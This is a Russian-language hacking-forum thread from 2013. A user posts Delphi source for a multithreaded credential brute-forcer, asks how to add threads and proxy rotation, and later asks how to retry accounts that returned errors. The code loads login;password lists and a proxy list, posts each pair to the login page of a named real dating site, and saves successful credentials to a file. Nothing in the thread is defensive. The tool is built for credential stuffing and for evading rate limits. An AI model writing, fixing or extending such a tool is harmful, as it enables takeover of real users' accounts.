Пишу Брут> есть вопросы.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by McClane, 2 Dec 2013.

  1. McClane

    McClane New Member

    Joined:
    22 Mar 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Не могли бы вы мне помочь с одним вопросом. Я пишу брут на Delphi xe3, пишу его по видео манулу от Strannik, но в восьмом уроке там не оч доходчиво объяснено как добавить многопоточность и прикрутить прокси к бруту. Вы бы не могли помочь разобраться?Могу дать свой исходник брута.

    Code:
    unit Unit1;
    
    interface
    
    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, SyncObjs;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        OpenDialog1: TOpenDialog;
        Button2: TButton;
        Button3: TButton;
        Button4: TButton;
        Memo1: TMemo;
        IdHTTP1: TIdHTTP;
        ProgressBar1: TProgressBar;
        Label1: TLabel;
        Label2: TLabel;
        Label3: TLabel;
        Label4: TLabel;
        Label5: TLabel;
        Label6: TLabel;
        Label7: TLabel;
        Label8: TLabel;
        Label9: TLabel;
        Label10: TLabel;
        CheckBox1: TCheckBox;
        Label11: TLabel;
        Edit1: TEdit;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
      type
      Potok = class(TThread)
      private
        { Private declarations }
      protected
        procedure Sync;
        constructor Create(CreateSuspended: Boolean);
        procedure Execute; override;
      end;
    
    var
      Form1: TForm1;
      Accounts, proxylist: TStringList;
      work: boolean;
      Login, Password: string;
      rez, good, bad, error: integer;
      GoodFile, BadFile: textfile;
      CS:TcriticalSection;
      Thread, NP: integer;
    
    implementation
    
    {$R *.dfm}
    
    constructor Potok.Create(CreateSuspended: Boolean);
    begin
    inherited Create(CreateSuspended);
    FreeONTerminate:=true;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if OpenDialog1.Execute then
    begin
    Accounts.LoadFromFile(OpenDialog1.FileName);
    Label6.Caption:=inttostr (Accounts.Count);
    end;
    end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    if OpenDialog1.Execute then
    begin
    proxylist.LoadFromFile(OpenDialog1.FileName);
    Label7.Caption:=inttostr (proxylist.Count);
    end;
    end;
    
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
    Rewrite(GoodFile);
    Closefile(GoodFile);
    Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
    Rewrite(BadFile);
    Closefile(BadFile);
    ProgressBar1.Max:=Accounts.Count;
    ProgressBar1.Position:=0;
    NP:= -1;
    work:=true;
    for Thread:=1 to strtoint (Edit1.Text) do
    Potok.Create(false);
    Thread:=strtoint(Edit1.Text);
    end;
    
    procedure TForm1.Button4Click(Sender: TObject);
    begin
    work:=false;
    end;
    
    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    Accounts.Free;
    CS.Free;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    CS:= TcriticalSection.Create;
    Accounts:= TStringList.Create;
    proxylist:= TStringList.Create;
    end;
    
    procedure Potok.Execute;
    var
    HTTP: TidHTTP;
    data: TStringList;
    HTML:string;
    i, Acc, pl:integer;
    begin
    while work do
    begin
    CS.Enter;
    Inc(Acc);
    
    
    if Acc=Accounts.Count-1 then work:=false;
    if Form1.CheckBox1.Checked then
    begin
      inc(NP);
      if (NP>=proxylist.Count) then NP:=0;
      pl:=NP;
    
    end;
    CS.Leave;
    
    if Form1.CheckBox1.Checked then
    begin
    HTTP.ProxyParams.ProxyServer:= copy(proxylist[pl],1,pos(':',proxylist[pl])-1);
    HTTP.ProxyParams.ProxyPort:= strtoint (copy(proxylist[pl],Pos(':',proxylist[pl])+1));
    HTTP.ConnectTimeout:= 10000;
    HTTP.ReadTimeout:= 10000;
    end;
    
    
    for i:= 0 to Accounts.Count do
    begin
    data:= TStringList.Create;
    HTTP:= TidHTTP.Create(nil);
    Login:= copy(Accounts[Acc],1,pos(';',Accounts[Acc])-1);
    Password:= copy(Accounts[Acc],Pos(';',Accounts[Acc])+1, MaxInt);
    
    data.Add('login='+Login);
    data.Add('password='+Password);
    data.Add('extend=cGF0aD0=');
    data.Add('referer=');
    data.Add('a=logon');
    
    try
    html:=HTTP.Post('http://loveplanet.ru/a-logon/popup-1',data);
    if Pos('location.href=', html)<>0 then
    begin
    Rez:=1;
    Inc(good);
    end
    else
    begin
    Rez:=-1;
    Inc(bad);
    end;
    except
    Rez:=0;
    Inc(error);
    end;
    
    synchronize(sync);
    Inc(Acc);
    Inc(pl);
    data.Free;
    HTTP.Free;
    end;
    
    end;
    end;
    
    
    
    procedure Potok.Sync;
    begin
     case rez of
    
    1: begin
    Form1.Memo1.Lines.Add(Login+';'+Password);
    Form1.Label8.Caption:= inttostr(good);
    Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1;
    Append(GoodFile);
    Writeln(GoodFile,Login+';'+Password);
    CloseFile(GoodFile);
    end;
    -1: begin
    Form1.Label9.Caption:= inttostr(bad);
    Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1;
    Append(BadFile);
    Writeln(BadFile,Login+';'+Password);
    CloseFile(BadFile);
    end;
    0: begin
    Form1.Label10.Caption:= inttostr(error);
    Form1.ProgressBar1.Position:= Form1.ProgressBar1.Position+1;
    end;
      end;
     end;
    
    end.
    
     
  2. reply12

    reply12 New Member

    Joined:
    2 Aug 2012
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    уже не модно книги читать, а сразу по мануалам писать многопоточные бруты)
     
  3. McClane

    McClane New Member

    Joined:
    22 Mar 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    В книге много бутофории написано. По исходникам легче изучать.
     
  4. McClane

    McClane New Member

    Joined:
    22 Mar 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Эм разобрался с многопоточностью и проксами.Теперь меньше половины аккков падает в Error, Как их можно перебрутить расскажите пожалуйста!
     
    #4 McClane, 2 Dec 2013
    Last edited: 2 Dec 2013